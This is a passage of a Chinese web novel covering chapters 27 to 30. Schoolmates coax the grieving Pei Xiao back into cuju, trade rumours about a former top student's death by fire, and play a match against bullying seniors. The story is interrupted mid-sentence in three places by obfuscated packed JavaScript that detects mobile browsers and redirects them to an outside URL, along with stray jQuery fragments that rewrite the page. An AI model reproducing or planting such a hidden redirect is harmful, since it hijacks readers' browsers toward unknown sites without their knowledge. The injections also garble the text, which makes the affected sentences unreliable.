第二日,百里摇光一早进到院子,就看到自己斋舍的房门大开,一张小几摆放在靠近门口的位置,地上放着几壶酒,横着一杆陈旧红缨枪,几案上趴了一个少年,犹自未醒。
百里摇光左右看看,国子学今日仍是休沐,此处并无其他人。他忙上前步入斋舍,关上了门。
国子学里禁酒!
虽是休沐人少,但裴逍这样堂而皇之地饮酒,万一被人看到,告到祭酒那里就不好办了。
裴逍仍未醒来,百里摇光从小几绕进去,见桌上除了一个茶杯,还排列着几样东西。
他定睛看去,桌上有两块玉佩、一管墨绿笛子,一个钱袋,还有一把弹弓。那弹弓上还串着一个像是藤球的小东西。
那小东西吸引了他的注意力,他矮下身,凑近距离细看。
那小藤球像是个蹴鞠用的鞠球的式样,只是小得多。
用这小藤球做装饰,明明就很喜欢蹴鞠,为何却不想参加蹴鞠队?百里摇光心中不解。
而那地上的酒壶,除了一个打开的,其他都还封着口,看起来并没有喝很多,不知怎么就醉成了这个样子,还睡在这里了?也不怕吹出风寒来。百里摇光想着,便将外袍脱下轻轻披在了裴逍身上。
随后,他在裴逍旁边席地坐下,观察起了几案上下摆着的几样东西。
地上的红缨枪,看起来有些旧,红缨都褪色了。
那青色的钱袋也有些旧,一角绣了几根竹子,像是用了很久了。之前裴逍想救助那被窦家纨绔盯上的琵琶女,曾经解下这钱袋,将里面的银子铜板都倒了出来,却是没有舍得将钱袋一并赠人,看来是他很在意的东西了。
那管墨绿笛子,看起来普普通通,从没见裴逍吹过。
圆形的那块白色玉佩,中间两个铜板式样的玉环交叠,上下镂刻祥云图案,是裴逍一直挂在腰间的,经常看到。其中左侧的玉环被磕掉了一小块,有个缺角,成色也很普通。
另外一块半圆形的玉佩,却成色极佳。那玉佩通体碧绿,上面还雕有梅鹤纹样,倒是从没见他戴过。
百里摇光看着眼前的情况,不禁思索起来。
裴逍清明时节,独自一人饮酒,醉得一塌糊涂,还摆了几样东西在面前。
难道这些东西都是他家人的?
他在睹物思人?
可是在想那难凉寨中他亲自埋尸拜祭的人?
果真如此的话,那这些都是——遗物。
那也就可以解释,他为何会是这副寥落样子了。
百里摇光又想起那天在难凉寨,大雨中,少年头抵着墓牌低声哭泣,似乎整个人都要碎了。
心上泛起些微隐隐的疼痛,百里摇光回过头看着裴逍,他突然明白,裴逍小小年纪噩梦连连,梦里惊醒又常常要喝酒的原因了。
·
不知过了多久,桌上趴的人手指微动,百里摇光看人有醒转的样子,连忙移开眼。
“百里摇光?”裴逍醒了,声音还带着些刚醒的低哑和未褪尽的困意。
“嗯,你醒了?”百里摇光扭过头来,却见少年眼中已经带上警惕和防备。
“你怎么来了?”裴逍收回目光,坐直起来,故作轻松地活动肢体,伸了个懒腰。
“家中祭祀差不多了,待着也没意思,我就来书院了。一来便看到你趴在这里熟睡。”
“哦。”裴逍起身将衣袍递还给百里摇光,把几案归位,桌上物件一一收回。
“你其实......喜欢蹴鞠吧?”百里摇光看着裴逍突然问。
裴逍动作停了一下,旋即又继续整理起来,道了声“不喜欢。”
“那你的弹弓上为何有个鞠球样式的挂饰?若非喜欢怎一直带在身上?”
“那是”裴逍停顿了一下,接着说“我一个朋友的”。
“是你朋友喜欢蹴鞠?”
“嗯”,裴逍点了下头。
“你不想参加蹴鞠队,是因为你的朋友...不在了吗?”安静了半晌,百里摇光还是忍不住出声问道。
他话音刚落,就见裴逍突然回头,直直盯着他,虽未说话,但那眼神中却流露出几分敌意。百里摇光瞬间想起了,在难凉寨那少年被他制住时仇恨的眼神。
“不是!你不必猜了!如果你是来做说客的,回去告诉他们,我不会参加蹴鞠队的!”裴逍说着,兀自擦脸洗漱,没再理会百里摇光。
半晌,百里摇光突然说了句,“我有事,先走了。”随即他打开房门,大步走了出去。
裴逍侧目看去,只见那人头也不回地朝着院外快步离去。
·
约莫两个时辰后,裴逍捧着书卷,吃着点心,突然感觉腿被拱了一下。她侧头一看,发现竟然是黄犬姜姜,也就是后来被百里摇光收养的的卢。
裴逍一惊,当即起身,“姜姜,你怎么在这?”
那狗突然跑开几步,冲裴逍汪汪叫几声,然后再往前几步,又回身叫。裴逍跟着走了几步,明白这狗是要引自己去哪里。
难道是百里摇光出事了?
裴逍想着就追着狗跑起来。
追出斋舍区域的月门,险些撞了一人,裴逍看狗跑远了,也没来得及看撞得是谁,说了声“对不住”,便继续喊着“姜姜”追过去了。
“’姜姜’是在叫我吗?”姜飒从府里逃出来,径自来寻裴逍,不想险些被裴逍撞倒。
他站在原地思索着,“这称呼,有点喜欢。”突然他又觉得不对,“那我在这,还去找哪姜姜呢?”随后他跟着往裴逍跑的方向追了过去。
·
裴逍跟着姜姜一直跑到了校场正中,那狗方才停下,蹲在地上。
裴逍走过去,矮下身子,摸了摸狗头。
“姜姜,你主人呢?到底发生什么事了?”
狗吐着舌头,瞪着无辜的大眼看着裴逍,尾巴一摇一摇,看起来也不像着急的样子。裴逍正在奇怪,突然余光里瞟到,有一物冲着裴逍和狗的位置急速飞了过来。
裴逍下意识地抱起狗,一个旋身一脚踹开,这才看到那物是个鞠球。顺着球飞来的方向,她看到了一个人。
“夏清泽?”裴逍看向那人,“你这是什么意思?”
夏清泽抱着双臂站在原地,也不回答,一副无所谓的样子。
突然一个人冲到两人中间,对着夏清泽大喊,“好啊你,想趁我不在,欺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800015|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
负阿逍吗?”
这人却是姜飒。
裴逍心中纳闷,这些人清明休沐怎的都不待在家里跑这来了。
“没有,不是我叫他来的。”夏清泽对姜飒说。
“是我!”
裴逍回过头,看到了百里摇光,他旁边竟然还站着夏慕卿和祁青阳,甚至还有夏思卿。
裴逍放下狗,淡淡看着几人不语。
“跟我们踢场蹴鞠吧!”百里摇光看着裴逍大声道。
裴逍心中突然涌上一股火气,怒道,“我说过了,我不想蹴鞠!”说完她便转身往回走。
“你不想蹴鞠,是因为你不喜欢,还是因为你是个懦夫,不敢接受、不敢正视你朋友的死?”
怒气在胸腔中冲撞,裴逍停住脚步,正待回身,又听到百里摇光的声音高高响起。
“我从军时间虽然不长,但也经历过失去战友。我明白,有些人的离开,会成为不敢触碰的伤口。但是伤口是需要医治才能愈合的,不然会容易溃烂、生疮。活着的人如果一直带着这样的伤口,如何继续往前走?如何能变得强大?如何能带着死去的人的那份活着?死去的人又如何能放心地含笑九泉?!”
心像被重重地撞了一下,裴逍闭上了眼。
从前和阿泽一起蹴鞠的画面,她和阿泽在寨破那日匆匆离别的画面,她返回山寨看到薛泽尸体的画面,一一浮现在脑中。
“裴逍,我们知道你不想蹴鞠,是因为好朋友去世了,你不想再回想起那些记忆,让自己难过。”夏慕卿清朗的声音响起,“但是让人痛苦的并不是蹴鞠这件事啊,你的朋友若知道你从此再不蹴鞠了,我想他也是会难过的。他也会希望你解开这个心结。”
裴逍仍旧停在原地,未开口,也没有再迈步。
静了会,姜飒开口道,“阿逍,我不知道你是因为这个原因才不想蹴鞠的,之前执意让你加入真的很抱歉,你不想加入蹴鞠队也没关系的,我不会再劝你了。我今日是特意来国子学找你,想陪你过节的。”
“姜飒!你这么说,到底是想让他迈过去这个坎,还是想让他再缩回去?”百里摇光没好气地冲着姜飒说道。
“我——”姜飒一时语塞。
“裴逍。”祁青阳的声音在身后响起,伴着脚步声,一步步向裴逍走近。
“虽然逝去的亲人和朋友,我们应该要时刻记着他们,但是,这并不意味着我们应该要苦苦守着回忆,封闭自己的心。”
“只要活着,还是会再遇到值得结交的人,还会再有朋友啊!”
“我想那些离开的亲人和朋友,也不会想要看到,世间万家灯火,而我们却孤身一人吧。”
裴逍心中激荡,两行清泪顺着面庞淌下。
祁青阳停在裴逍身后一步的距离,没有再向前。
少年们沉默了许久,直到夏清泽咳了几声,打破安静。接着,他冲着百里摇光高声道,“你说,只要我们今日跟你一起踢这场蹴鞠,你就同意加入我们蹴鞠队。那现在我推了府里好多事专程来了,姜飒也来了,祁青阳也来了,但是裴逍不愿意踢,那怎么办?我们四个人踢一场?总不能就这么耗着吧?”
姜飒皱了下眉,拿胳膊肘捅了夏清泽一下。
夏清泽吃痛,不耐烦道,“到底踢不踢啊?不踢我回去了。”
“我加——”百里摇光刚吐了两个字。
裴逍转回了身,大声道,“踢!”
28. 第28章
百里摇光桃花眼中闪过光芒,咧开嘴笑了,齐而白的一排上齿露了出来。
祁青阳伸手揽住裴逍,一脸笑意如春风拂面。
夏清泽嘴角扬起,道,“这还差不多,休沐期专门来这,总要给个面子嘛。”
“啊,太好了!”姜飒一把勾住夏清泽肩膀,另一只胳膊向上挥舞起来。
夏慕卿手摇折扇,也笑意盈盈地看着裴逍。
“我哥终于要蹴鞠了吗?哈哈哈,你们要小心点哦。”思卿笑着道。
夏慕卿觑了她一眼。
百里摇光道,“我们分两组,我、慕卿、青阳一组。裴逍、姜飒、夏清泽一组。咱们以一炷香时间来计,进鞠得分多者获胜。”
“你和青阳两个人踢得那么好,再加上夏慕卿一个会武功的,那我们怎么比啊?”夏清泽道。
“待会你就知道了,我们队有个绝世拖后腿的。这样分组,才势均力敌。”百里摇光呵呵笑了笑,惹来夏慕卿一瞥。
“嗳,我专门来给你们凑人数,不带这样的啊。”夏慕卿拿扇子点了点百里摇光,不满道。百里摇光拍了拍他的肩,以示安抚。
“开始吧,我给你们当裁判。”思卿已在场边中间站定,高声说道。黄狗姜姜蹲在她的旁边吐着舌头,摇着尾巴,两只黑亮的圆眼,直看着场中,忽而转左,忽而转右。
裴逍看着那黄狗,心里不禁腹诽,这黄毛犬,一年就不把她当主人了!竟是按那人的意思专门引她来的!
·
六个少年分两边站定。
百里摇光是功夫好手,球技精湛,各种匪夷所思的角度都能进球,跑动速度快,踢球快准狠。祁青阳虽不会武艺,却也是动作敏捷,球技竟然不逊色于百里摇光,看来他之前所说只是跟村子里小童踢过鞠,实在是过于谦虚了。
他们两个本是让裴逍他们三个很吃力的。
但是,百里摇光组加了夏慕卿,形势就完全不一样了。
夏慕卿在鞠传到他时,本可以用身体停住鞠,他偏偏要躲开,似怕被鞠球弄脏了衣服,当他躲闪开试图用脚去踢鞠时,鞠早已被姜飒他们截断。
几次下来,连祁青阳也知道了他靠不住,尽量只给百里摇光传鞠。
如此下来,祁青阳和百里摇光两个纵然鞠技高,也是两个人在和裴逍他们三个人比,踢得很是艰难。
百里摇光和祁青阳不给夏慕卿传鞠,但是对手反而会给夏慕卿传。
当姜飒几个被百里摇光、祁青阳防守得无法突破时,反而会将鞠莫名传给夏慕卿,当夏慕卿笨拙地带着鞠移动时,再被队友劫走。这样下来,竟几乎可以算是二对四了。
“时间到。裴公子队四比二胜!”思卿作出最后裁决。
姜飒半弯着腰喘气,伸起一手指着夏慕卿,“哈哈哈,你刚才说的,你哥参加蹴鞠,我们要小心了,是说谁跟他同队要小心吧哈哈哈”。
“是啊呵呵呵”思卿也笑起来。
“我说过我不会蹴鞠的啊。”夏慕卿掏出折扇,轻摇着说道。一场蹴鞠下来,他衣衫鬓发丝毫不乱,身上无汗,脸不红,气不喘,仍旧风度翩翩,不损半分斯文。
几人纷纷笑了起来。
·
蹴鞠完,姜飒做东邀请众人到城中酒楼一起用膳。
刚刚坐定,姜飒想起白天的事情突然问,“你们今日约着蹴鞠,怎么没跟我说?不够意思啊。”
“我遣人去温国公府上传信了,你没收到?”百里摇光回应,他也奇怪姜飒怎么没收到信。
“没有,我早上没在府里。”
“那你怎么会来的?”
“我来书院找阿逍啊,然后就看到阿逍喊着‘姜姜’、‘姜姜’的一直跑,就跟过去了。”说到这,他突然想起这称呼,看向裴逍,“阿逍,谁是姜姜啊?”
裴逍心里一咯噔,扫了那百里摇光一眼,正在踌躇思索该怎么解释。
这时,姜飒道,“姜姜这称呼我挺喜欢的,你以后就这么叫我吧”。
姜飒笑得眉眼弯弯,裴逍心虚地没说话,只点了点头。她本来还在担心“姜姜”的名字暴露,被百里摇光怀疑,如果被当做是是叫姜飒的称呼,那倒可以圆回来。就是不知道如果有天姜飒知道,姜姜是只狗的名字,他会作何感想。
“姜姜?”百里摇光琢磨着这个称呼,感觉有点奇怪,如果是喊姜飒的话,怎么会是朝远离姜飒的方向喊,而且裴逍这性子,也不像是会这么叫姜飒的。他突然有了一个猜测,想着晚上试一试。
“那你们同意加入我们蹴鞠队了吗?”夏清泽看着百里摇光问,说着又看向裴逍,目光扫过夏慕卿,说了声,“没有你啊,我劝你加入对方蹴鞠队去。”
众少年又笑了起来。
夏慕卿无奈道,“过不去了是不是?那我走?”
百里摇光揽住他,“哈哈哈,莫动气,怪我怪我。”
笑声渐渐止住,众人都看向百里摇光和裴逍。
百里摇光扫了眼裴逍,见她微低了头,眼睛看着地上,笑着道,“我提的条件你们帮忙了,我自然不能爽约,我加入!”
“好!爽快!”夏清泽和姜飒对视一眼,两人喜上眉梢。
随即,两人看向裴逍。姜飒见裴逍的样子,似还有心结,便打圆场道,“不加入蹴鞠队也没关系,平时也可以蹴鞠,蹴鞠也是开心最重要啊!”
“多谢。”裴逍仍旧低着头,突然出声。
话音落,她抬起头,看着众人道,“我加入蹴鞠队。”
“太好了!”能一起和其他队伍比试,几个少年自然更加高兴。
“那我们蹴鞠队这下厉害了,有希望和高年生拼一拼了。”姜飒兴奋道。
“何止是跟他们拼,我们还要拿书院第一,还要比过太学他们的队伍!”夏清泽说。
气氛火热起来,众人吃吃聊聊。
不知从哪里开始的,几人聊到了旬考成绩上,思卿听闻裴逍上旬旬考是榜首,说道,“裴公子这么厉害,倒是让我想起一个人来。”
“什么人?”姜飒问。
思卿接着道,“此人也是国子学的学生,是早你们三年入学的学兄,叫作祁彦辰。他当年是国子学有名的才子,才华出众,人品优秀,也是入学后就成了榜首。而且他和裴公子一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800016|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样,不是长安的士族出身。”
“祁彦辰的文章我拜读过,真的可以称得上是锦绣文章。”夏慕卿称赞道。
“不过听说这人当年死得蹊跷啊。”夏清泽说道。
百里摇光正要夹菜,听到夏清泽所说,停下动作,惊讶问道,“已经死了?”
“那可不是!”思卿接过话茬,“而且他死得很惨烈,你们肯定猜不到他是怎么死的。”
“溺水?”百里摇光猜测。
思卿摇了摇头。
“被人害死的?”姜飒问。
思卿长长“嗯...”了一声,还没说完,慕卿直接道,“是自焚而死!”
“哎呀”思卿懊恼地轻推了她兄长一下,对于他打断自己讲故事,提前透露答案的行为表示不满。除了此前听说过一些消息的夏清泽外,其他几人都非常吃惊。裴逍虽已经见过祁彦辰的墓,知道他已过世,却不知是以这样的方式离开的。
“自焚?”姜飒讶异道,“为什么啊?发生什么事了?”
“没人知道!”思卿道。
这时,裴逍看到,一直没有说话的祁青阳放在腿上的食指突然轻轻动了下。她正想要看看祁青阳是不是在走神,却被思卿的话再次吸引去了注意力。
“只是听说有天城郊一座别院起了大火,等被人发现的时候,已经烧得什么都没有了。京兆府去查,只在灰堆里找到一具骸骨,仵作判断尸身是个十几岁的少年。在院子里,发现了一块你们国子学的名牌,上面写的是祁彦辰的名字。而与此同时,祁彦辰在国子学里也确实失踪了。京兆府这才联系到一起。”
“至于他为什么会出现在那别院,又是怎么起火的,都没有查到。”思卿的话音刚落,祁青阳开口问道,“那别院的主人呢?可有查到?”
“查是查到了,但是那主人什么也不知道,而且没过不久那别院的主人也死了。那院子和祁彦辰的尸身都被烧了,也没什么线索可以查了,京兆府最后只得以自尽结案。”思卿说道。
几人皆是唏嘘。
半晌,夏清泽问,“你们女学的,怎么比我们国子学的还了解这事?”
“额,因为女学有位师姐因为祁彦辰殉情了。所以这事在女学一直流传下来了。”思卿解释道。
“还有这事?”
“嗯,祁彦辰不仅有才学,人长得也清俊。女学里当时有不少师姐都对他很关注。出了别院失火的事情,当时还有不少人想各种办法疏通府衙去查这个案子,那位殉情的师姐也是这样,但最后都没有结果。那师姐想不开,在自己斋舍里自缢了。那间斋舍至今都没人敢住。”
少年们听得后背发凉,姜飒悻悻地道,“咱们能说点不吓人的吗?”
众人纷纷笑了起来,气氛陡然放松。
·
百里摇光从姜飒随从那里取回狗,在回府的路上,想到先前的猜测,突然冲着跑到前面一段距离的黄狗的卢,轻唤“姜姜”。
那狗听到后高高兴兴地跑回来蹭他的腿。如此试了几次,百里摇光更加确定了心中的猜测,他摸着狗头笑得狡黠,低语道,“狐狸尾巴被我抓到了吧。”
29. 第29章
有了百里摇光、裴逍和祁青阳的加入,蹴鞠队的实力一下子壮大了许多。队员们最近都在抓紧联社活动时间和课余时间练习。
他们与窦尧臣等高年生约定的比试时间定在了上巳节的前一天。
这一旬开课后的第三日,照例是上旬课考榜文公布的时间。
裴逍几人的成绩和上次基本没什么变化,新来的姜飒五十五名,是几个人中成绩最差的。他看到裴逍,整个人都心虚起来。
看榜文的学子们见裴逍竟然又超过了林致远,一举得魁,纷纷在讨论这魁首之位恐怕以后林致远是拿不到了。
“呦呵,这是又一个祁彦辰吗?有意思”。窦尧臣路过瞥见二年生的榜文,轻嘲道。
他身边一个纨绔跟班指着榜文说道,“世子,你看那和林致远并列第二的人叫作祁青阳,好像也是个庶族。而且还和祁彦辰一个姓。”
窦尧臣往下看到祁青阳的名字,毫不在意地说,“那又如何,他们这样的贱民,来一个我整一个,来两个我整一双。”
·
礼乐课上,康王叫姜飒演奏洞箫。
姜飒走到课室前方,面向众学子,站得笔直,双手持洞箫,笑着看了裴逍一眼,然后双唇轻抿,吹奏了起来。
他奏的是《忆故人》的古曲。此曲相传是东汉精通音律的蔡邕所作,表达了作者居于幽静空谷深山之中对故友的思念之情,常以琴演奏。
姜飒以箫吹奏也完全奏出了其韵味,箫声和缓清幽、意蕴悠长。学子们仿佛与他同居深山空谷,聆听他诉说与故友曾经的故事。
听着那曲,裴逍被自然而然地带回了记忆中从小生活的山林,那里有家人故友,有畅快欢笑。只是后来,只留下了一座座冰冷的墓牌。
一曲终了,余音袅袅。康王等大家渐渐回神,才评价道,“深沉悠远,余音绕梁,吾等有耳福了。”
姜飒回到座位,还不忘献宝似地问裴逍,“如何如何?我特意选这曲子的,之前找你的时候我就常常吹这曲子,咱们就是遇于山林,别于山林!”
“好听。”裴逍难得地称赞了一句。
康王接着讲道,“现所称洞箫的乐器,实则在唐包括唐以前都叫做笛,与排箫、横笛统一都叫做笛,唐末以来才渐渐区分开,有没有学子是带了横笛的?来给大家吹奏一下。”
带横笛的学子有四五位,康王看到裴逍桌上也有一管墨绿色的笛子,便点了裴逍来吹奏。
裴逍吹了之前父亲教她的一首曲子,这是她最喜欢的一首。曲子是父亲所写,父亲说,作曲灵感来源于庄子的《逍遥游》篇。
笛声悠扬清脆,前半段铺陈轻缓,恰似山间溪水叮咚,成长积蓄力量,高潮部分似溪流奔海,高亢激昂,让人生出万丈豪情,天地远阔之感。
学子们正值鲜衣怒马、锦绣华年,裴逍这支曲子简直是应众人心声奏出来的,听来感觉热血沸腾、豪气干云,仿佛自己也逐波踏浪,翻山越岭,走到了天地的尽头。
百里摇光待过沙场,感触颇深。他听着笛声,双手交叠,时不时地握紧松开。
微风拂过,夏慕卿的一缕发丝被吹得轻轻扬起。他仿佛被这曲子触动到了藏在心底很深很深的愿望,却像怕被人发现似的低着头一动不动。
祁青阳双手撑肘,轻抵下巴,注视着裴逍。他觉得此刻的裴逍,和他记忆里的一个人很像,同样的勃发、激越、光明。
林致远是精通音律之人,但是刻意深研技巧的他,第一次深刻地感受到音律最重要的不是技巧,而是其中饱满的情感。少年意气,他又何尝不是?不然如何会在学年第一堂课,就堂而皇之地将“院训”作为自己的志向讲出来?
“太好了!太好了!”姜飒可能是几个人中最快从曲子里抽离出来的,他双手握拳称好,人都快要从座位上跳起来。
康王看着他,无奈笑笑,而后点评道,“意气风发、激扬豪迈,道尽少年意气,这支曲子让我想到了庄子的名篇《逍遥游》,‘北冥有鱼,其名为鲲。’不知这首曲子是何人所作?”
有了上次那首诗的教训,裴逍不敢说是父亲所作,只道,“家父所授,我亦不知作者,只知曲名为《鲲鹏》,确实与庄子《逍遥游》的意境接近。”
殊不知,一墙之隔,有心人阮柏聿已经听得泪流满面。
他抬手抹了抹眼睛,心里感叹,“是他作的曲子!想当年三人月夜豪饮,他即兴创作吹奏。那时也正是我们的锦绣少年时啊。”
·
上巳节前一日联社活动时间,校场上围满了学子,等着看夏清泽等低年生与窦尧臣等高年生比试蹴鞠。
这次的围观人数比上次要多得多。一方面因为双方打赌,输了的队伍,不能参加国子学与太学比试的蹴鞠队员选拔。另一方面也因为两方领头人员都是国子学里“有名”的人物,这场比试又经过了一段时间在学子中间的宣传和发酵。
夏慕卿没有参加蹴鞠队,他在校场边上找了一处又高又阴凉的地方,摇着折扇往场中看。
比试双方找了蹴鞠社的一个四年生学子来做裁判,以确保其不偏颇于二年生或五年生任何一方。
该裁判学子于场中高声宣布,“比试开始,双方队员列队行礼。”
一高一低的两列共二十四名学子分列两侧,站在队伍最前面的是两队队长。
百里摇光直直盯着窦尧臣,未发一词,但窦尧臣却莫名感受到一股凉意从脚底往上窜出。上过战场的人果然不一样,他移开目光,看着百里摇光旁边的夏清泽,调侃道,“夏清泽你这是怕了,队长都让给别人了?”
“我们队向来是能者居之,这点和你们队就不一样了。更何况,谁做队长有什么关系,赢了你们不就好了?”夏清泽轻蔑回道。
“大话说得也不怕闪了舌头。”对面眼下黑青的高瘦少年嘲讽。
“年纪大有什么了不起?个子高有什么了不起?两眼黑青像个无常鬼似的,还好意思出来吓人?”
裴逍听到旁边姜飒嘀嘀咕咕,忍不住弯了下嘴角。
“笑什么笑?待会就把你个小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800017|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白脸打趴下!”对面一个又黑又高又壮的少年盯着裴逍,发狠说道。说完他就见面前的小白脸,扬了下眉毛,淡淡回了句,“拭目以待。”
黑壮少年竖眉怒目,看到对方眼中映出的像个金刚似的自己,越发嫉恨面前的少年长得好看了,心道待会一定要好好教训这小白脸!
裴逍这列队伍中,唯一能跟这黑壮少年体型稍微抗衡一下的就是严铮了,也就是之前和裴逍比试武艺的那个魁梧少年。
祁青阳站在裴逍旁边,他一一扫过对面人员,没有言语,只微微笑着,露出一侧的酒窝来。
在他旁边的是虞砚,正仰着头和对面高他一头的学子互相瞪视,两只手交握着捏来捏去,仿佛马上要冲上去和对方打一架。
裁判学子见两方剑拔弩张,扬起旗子,喊“准备——”。两列队伍人员眼神逐渐犀利,“比试开始”。
声音落下,之前抽中先发球的百里摇光队率先进攻。
夏清泽灵活运着鞠贴地而行,留意着场上人员位置,绕过对面两名高年生的防守,将鞠踢起,传给了在中间的姜飒。
姜飒用胸部停鞠,而后膝盖顶鞠一下,在鞠再次下落的瞬间,飞起一脚,将鞠高高地踢出,冲着对方阵地中的风流眼直射而去。
“别想这么容易进鞠!”那黑青眼少年跳起用头一顶,将鞠撞开。
鞠向着窦尧臣飞去,窦尧臣一个斜插花,跳起接鞠,运鞠朝着百里摇光队阵地冲来。连续过了前场三个人,被百里摇光截住,一个腾空扫踢。瞬息间,那鞠便越过人群,穿过对方风流眼,撞响了上面挂的铃。
裁判少年摇旗,喊道“二年生队计一分。”
“漂亮!”姜飒跳起喊了一声。
“有点东西,看来小爷们得认真点了!”窦尧臣不屑说道。
·
百里摇光掌握了鞠权,他将鞠传给了姜飒,姜飒接鞠后,运球冲着对方阵地掠去,陷入对方重重拦截之中,被黑青眼少年劫走了鞠。
黑青眼少年劫鞠后,却向着自己阵地深处而去,他一个旱地拾鱼,将鞠踢起,又一脚踢高,随后,扒着那黑壮少年,整个身体凌空侧转,飞出一脚,那鞠高高地越过人群,向着百里摇光队阵地的风流眼疾驰而去。
“严铮,借你肩膀一用。”站在阵地最后的裴逍眼看那鞠高高飞来,她向前助跑跃起,搭上严铮肩膀空中倒立反脚一踢,将那鞠拦回。
“厉害啊!”严铮看着利落防守又利落落地的裴逍赞叹道。
裴逍轻点了下头,没说什么。
鞠落到对方阵地中,夏清泽眼疾手快接住球,向前冲突被重重阻拦,将球传给了姜飒。姜飒也被重重防住,突破不了。他便将鞠向着己方阵地踢回。
在后场的祁青阳跃起后弯腿停球,而后,一计大力扫踢,那鞠横穿大半个鞠场,撞响了风流眼中的铃不止,还飞出去老远。
“哇,这脚力太猛了吧!”中场的虞砚惊叹道。他似乎已经忘记了,前不久,他还对他刚刚赞赏的这寒门学子,鄙夷轻视来着。
30. 第30章
“二年生队再计一分!”裁判少年摇旗呐喊道。
场边围观的夏慕卿,笑着喃喃道,“有了百里摇光、裴逍、祁青阳三人的加入,二年生的蹴鞠队果然不可同日而语。”
他本是一人独自站在人群中观看,话毕却有人应和道,“确实如此。”
夏慕卿轻哼一声,未曾侧头看发声之人,便道,“你是真闲啊。”
“你这逆子,怎么跟我说话呢?”话虽如此说,安王脸上却不见怒色,反而带着欣喜,“你可知和太学学子的蹴鞠比试是谁提出筹办的?”
“呵,你既这么问,那定然是你太闲了整出来消遣的。”夏慕卿轻嗤道。
“你老父我干甚,你都觉得是消遣,我也懒得跟你辩解。不过,你倒是不消遣,这大好年纪,不去场上跑一跑出出汗,不去和伙伴们输赢共战一番,在这老气横秋,长吁短叹的,有什么意思?”
夏慕卿气愤转头看向安王,待要反驳,又一时语噎,只好哼了一声以示不满,又扭回头看场中了。
·
窦尧臣脸色阴沉,回头跟己方队伍嘀咕一番。队伍中人员站位便有了变化,那黑高壮少年的位置靠前了。
鞠权在百里摇光队。祁青阳运球,在对方队员重重拦截下,连过多人,奔至对方阵地之中,正欲射门,一股大力冲撞而来,他被猛得撞开,那鞠便脱离了掌控。
原来是那黑高壮少年冲撞而来,祁青阳陷在对方人员围阻之中,那黑壮少年撞击他的速度又快,是以那阴暗动作,很多人都没看到。祁青阳稳住脚,回了回神,只见那鞠已经被传到了窦尧臣那里。
窦尧臣运鞠向着百里摇光队的阵地而来,前面有他的队友横冲直撞扫清障碍,百里摇光队伍中的少年们心中多生怯懦,不敢正面抗衡。
正在这时,突然一个少年贴地划身一脚铲走了窦尧臣脚下的球。姜飒见机截住球,向对方阵地跑去,边跑边喊道“夏清泽可以啊你”。
夏清泽迅速起身,跟着向对方阵地跑,回道“还用你说。”
话音刚落,就听到姜飒“哎呦”一声,竟是被人撞倒在地。
“跟我们打球还不专心打!”黑高壮少年掠球而走,留下一句。
鞠又被传到了在百里摇光队阵地边上等着的黑青眼少年脚下,他以一个诡异角度,飞出一脚,鞠向着风流眼斜飞而去。
百里摇光在鞠刚刚飞起之时,便预判位置,跃起凌空踢去,欲拦住那鞠,却在刚跃起时就被人撞开。
严铮冲到前面跳起欲用头顶回那鞠,却见那鞠越过头顶而去。
没有了任何助力,无法单独弹跳足够高度去拦鞠的裴逍,本已准备放弃防守,却在对方黑高壮少年急速撞来之时,灵机一动。
她侧身躲开撞击,脚在那少年微弯的腿外侧一踩,借力高高跃起,在那鞠飞至她头侧之时,侧头将鞠顶开。而后跃下向前滚翻一下卸力,身后传来那黑高壮少年恶狠狠的声音,“可恶!”
裴逍冷笑了一声,没有理会。
“后方交给你果然稳妥。”百里摇光笑着说道。
裴逍看了他一眼,淡淡回了声,“我尽力。”
·
鞠权仍在二年生队这边。这次姜飒来发球,姜飒看着前面阻隔重重的防守人员,弯起嘴角莫名笑了下。
“憋着什么坏呢?”与他斜对角隔着几个人的夏清泽喃喃道。
他刚说完,便见姜飒冲着地上的鞠一脚踢出,那鞠擦着对方防守人员的最边侧飞去。
“中不了!”对方都不打算防守那鞠了,不料那鞠在擦过防守人员后,竟然拐了个弯,向风流眼飞去,撞响了铃。
“给你们见识见识小爷的曲线鞠!”姜飒一手叉腰,一手指着鞠门,得意喊道。
观赛的学子中惊叹声此起彼伏。
“百里摇光队再计一分!三比零!”裁判少年报道。
·
窦尧臣一脚踹向队里一个少年,斥骂“你们这群废物!”被出气的少年敢怒不敢言,默默受了这一脚。
“世子,他们新找来的那几个鞠技太强了,而且严防死守,这样下去没机会呀。”黑青眼少年说道。
“哼,再厉害也才二年生,全力冲撞,我看他们有多少人可以替补!”窦尧臣盯着对面准备发鞠的姜飒恶狠狠道。
